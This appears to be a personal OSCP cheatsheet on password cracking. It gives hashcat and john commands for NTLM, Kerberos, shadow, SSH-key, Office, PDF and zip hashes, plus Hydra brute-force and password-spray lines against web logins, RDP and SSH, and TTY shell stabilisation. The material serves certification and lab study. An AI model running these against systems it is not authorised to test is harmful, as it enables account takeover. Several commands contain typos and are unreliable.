OSCP Notes, Cracking Passwords, and Stabilizing Shells, Python quick on the fly fixes Cheatsheet
This one is all-access notes on password cracking and other quick things I had to learn the hard way to help troubleshoot. GOOD NEWS, EVERYONE!!! You're probably going to use rockyou.txt as a password-cracking list. Otherwise, if you find another password list (extremely rare), use that. But these are probably quick commands you can reference too once you find something, like a zip file or pdf. Or sometimes you may need to make a list. That’s where cewl comes in. Hydra is also a great tool for brute-force attacks, but be careful when using it.
Note here, for any pentesting cert or test, this should not take more than 5–10 minutes. If it is, you may need to move one or try it a different way. Check your hash! When you get to AD, pass-the-hash attacks can be quicker.
Wordlist:
cewl -w passwords.txt http://$target/directory
cewl https://$target -d 4 -m 6 --lowercase -w something.wordlist
curl -s https://fileinfo.com/filetypes/compressed | html2text | awk '{print tolower($1)}' | grep "\." | tee -a compressed_ext.txt
Once found hash too run hashid:
hashid hash.txt
Also haiti is a great tool:
haiti 'hash'
Unzip rockyou.txt:
sudo gzip -d /usr/share/wordlist/rockyou.txtgz
Cracking passwords:
hashcat -m 1000 dumpedhashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 500 -a 0 md5-hashes.list rockyou.txt
hashcat -m 5600 user.hash /usr/share/wordlists/rockyou.txt --force ntml
ssh2john id_rsa > ssh.hash
office2john Protected.docx > protected-docx.hash
john --wordlist=rockyou.txt protected-docx.hash
pdf2john PDF.pfd > pdf.hash
zip2john zip.zip > zip.hash
bitlocker2john -i backup.vhd > backup.hash
Linux privesc, grab passwd and shadow:
unshadow passwd.txt shadow.txt > hash-input
john hash-input --wordlist=/usr/share/wordlist/rockyou.txt
john --show hash-input
Then its just this:
john hash --wordlist=/usr/share/wordlist/rockyou.txt --> kerbroasts too
Creating rules with Hashcat:
mkdir passwordtest
cd passwordtest
head /usr/share/wordlists/rockyou.txt > demo.txt
sed -i '/^1/d' test.txt
cat test.txt
echo \$1 > test.rule
hashcat -r test.rule --stdout test.txt
hashcat -m 0 test.txt /usr/share/wordlists/rockyou.txt -r test.rule --force
check
you may not need it, but never hurts to but that in your back pocket
Kerbroast, with mimikatz or rubues:
john --format=krb5asrep user.hash --wordlist=/usr/share/wordlists/rockyou.txt
Hydra commands as well:
Basic:
hydra -l username -P password.list <service>://<ip>
Web:
hydra -l user -P /usr/share/wordlists/rockyou.txt $target http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"
Note: also can be done on burp
hydra -l admin -P /usr/share/wordlists/rockyou.txt $targe http-get /inferno -V -e nsr -f -t 50 -K
Password spray rdp:
hydra -L /usr/share/wordlists/dirb/others/names.txt -p "pass" rdp://$target
or if you find a user:
hydra -l user -P /usr/share/wordlist/rockyou.txt rdp://$target
ssh:
hydra -l user -P /usr/share/wordlists/rockyou.txt -s <port> ssh://$target
That’s pretty much it for cracking passwords. It’s pretty short.
Don’t forget to stabilize your shells once you have a foothold and get access.
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl + Z
stty raw -echo; fg
stty rows 38 columns 116Very important!
Now, one thing to keep in mind is that if the CVE you found is having all sorts of trouble, especially with Python, and you can’t install pip or pipx, I have a solution for that.
sudo apt install python3-venv -y
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
or pipx install, depending on what software you are installing,
kali has been havin a hard time installing libaries 
That wraps up this one. This is a quick-and-dirty note on the small things, but it's helpful to have as open notes. Thank you for reading.